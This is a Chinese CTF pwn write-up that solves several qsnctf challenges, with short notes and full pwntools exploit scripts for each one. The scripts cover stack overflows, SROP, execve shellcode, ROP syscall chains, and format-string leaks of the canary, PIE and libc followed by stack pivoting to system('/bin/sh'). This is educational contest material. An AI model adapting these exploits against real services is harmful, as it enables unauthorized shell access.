浅红欺醉粉，肯信有江梅

直接nc连接即可

借的东风破金锁


输入的内容只要相等即可

但是直接输入就超出了范围

ai搜出输入方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',31915)#配置远程连接nc challenge.qsnctf.com 31915
else:
    p=process("./")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X90+4
auth_code = 23451819946759238
payload=struct.pack('<Q', auth_code)
s(payload)

p.interactive()#与程序交互

当时只道是寻常

无保护,有/bin/sh字符串,没有动态链接库,rsp没法移动,直接打srop就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',30337)#配置远程连接challenge.qsnctf.com 32124
else:
    p=process("./")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X90+4
sigFrame=SigreturnFrame()
sigFrame.rax=59
sigFrame.rdi=0x40203A
sigFrame.rsi=0x0
sigFrame.rdx=0x0
sigFrame.rip=0x401045
payload = p64(0) + p64(0x40104A) + p64(15) + p64(0x401045) + bytes(sigFrame)
s(payload)


p.interactive()#与程序交互

江南无所有，聊赠一枝春

简单的栈溢出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',31804)#配置远程连接challenge.qsnctf.com 32218
else:
    p=process("./")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X40+8
payload=b'a'*len+p64(0x4011DC)
sa(b"Do you want my gift?\n",payload)



p.interactive()#与程序交互

萧萧黄叶闭疏窗

payload被改为可执行

读取到payload然后复制给dest

直接生成shellcode然后返回到payload即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',30041)#配置远程连接nc challenge.qsnctf.com 31439
else:
    p=process("./")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X40+8
elf=ELF('./bad')
ret=0x40101a
rl(b'What do you want to do ?\n')
payload=(asm(shellcraft.sh())).ljust(len,b'a')+p64(0x4040A0)
s(payload)


p.interactive()#与程序交互

被酒莫惊春睡重

gdb调试发现输出的是rsp的地址

程序rax、rdi、rsi、rdx都有直接syscall即可

溢出点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',32068)#配置远程连接challenge.qsnctf.com 32218
else:
    p=process("./pwn")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X20+8
syscall=0x4011EC
rdx_rsi_rdi_rax_ret=0x4011e0

sl(b'3')
rl("你好, ")
rsp=int(p.recv(14),16)
print(b'rsp:',hex(rsp))
payload=b'a'*len
payload+=p64(rdx_rsi_rdi_rax_ret)+p64(0x10)+p64(rsp)+p64(0)+p64(0x0)
payload+=p64(syscall)
payload+=p64(rdx_rsi_rdi_rax_ret)+p64(0)+p64(0)+p64(rsp)+p64(0x3b)
payload+=p64(syscall)
#m()
sla(b'(1-3): ',b'1')

s(payload)
sleep(1)
s(b'/bin/sh\x00')
p.interactive()#与程序交互

赌书消得泼茶香

ai搜出来是base64解码

有完整后门

输入进s将dest溢出

正常溢出+base64加密包裹即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import * #引用pwntools库
from LibcSearcher import *
import base64
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',31024)#配置远程连接challenge.qsnctf.com 31708
else:
    p=process("./pwn02")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X60+0x08
ret=0x40101a
payload=b'a'*len+p64(ret)+p64(0x40141D)
payload=base64.b64encode(payload)
sl(payload)

p.interactive()#与程序交互

我觉君非池中物，咫尺蛟龙云雨

修改这段内容为可执行，直接shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
    p=remote('challenge.qsnctf.com',31729)#配置远程连接challenge.qsnctf.com 30178
else:
    p=process("pwn")#配置本地连接:
#gdb.attach(p)


payload=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

p.send(payload)

p.interactive()#与程序交互

领取你的小猫娘

输入进v4，可以覆盖到v5通过if判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',30576)#配置远程连接challenge.qsnctf.com 30576
else:
    p=process("./")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X90+4
payload=b'a'*0x50+b'0x01'
sl(payload)


p.interactive()#与程序交互

铜雀春深锁二乔


格式化字符串

溢出点，但是距离很短

上面的格式化字符串漏洞可以泄露出来canary地址，__libc_start_main地址，栈上pie的地址

将泄露出来的pie减去mian函数地址即可计算出pie的基值

可以利用这边的printf函数去泄露出puts的地址信息从而去计算远程的libc，便于后续泄露出__libc_start_main地址后进行计算偏移使用

此时我们pie、canary、libc都有了可以构思栈迁移，在sub_11E9函数中溢出点过短，我们需要迁移回栈上书写system(“/bin/sh”),再进入sub_11E9函数后再迁移回去执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=1
if misaki:
    context(log_level='debug',arch='amd64',os='linux')
else:
    context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
    p=remote('challenge.qsnctf.com',30357)#配置远程连接challenge.qsnctf.com 30357
else:
    p=process("./")#配置本地连接:

def s(a):#发送
    p.send(a)
def sl(a):#带\n发送
    p.sendline(a)
def sa(a,b):#直到接收到a后发送b
    p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
    p.sendlineafter(a,b)
def r():#接收
    p.recv()
def rl(a):#等待到接收到a
    return p.recvuntil(a)
def get_32():#32位接收地址
    return u32(p.recvuntil(b'\xf7')[-4:])
def get_64():#64位接收地址
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def m():#调用gdb
    gdb.attach(p)
def dr(a):#截取到a终止
    return eval(p.recvuntil(a,drop=True))
def pr(a):
    print(hex(a))

###############################################
len=0X90+4
libc = ELF("./libc.so.6")
payload = b'%11$p@%15$p@%33$p@%17$p@\x00'
sa(b'sun.\n', payload)
canary = int(p.recvuntil(b'@', drop = True), 16)
pie = int(p.recvuntil(b'@', drop = True), 16) - 0x125B
print(f'canary:{hex(canary)}')
print(f'pie:{hex(pie)}')
libc.address = int(p.recvuntil(b'@', drop = True), 16) - libc.sym["__libc_start_main"] - 128
print(f'libc:{hex(libc.address)}')
stack = int(p.recvuntil(b'@', drop = True), 16) - 8
print(f'stack:{hex(stack)}')
rdi = libc.address + 0x2a3e5
payload = p64(0) + p64(canary) + p64(stack) + p64(pie + 0x1270)
s(payload)
payload = p64(rdi) + p64(next(libc.search(b"/bin/sh"))) + p64(libc.sym["system"])
sa(b'sun.\n', payload)
payload = p64(0) + p64(canary) + p64(stack - 0x38) + p64(pie + 0x131F)
s(payload)
p.interactive()#与程序交互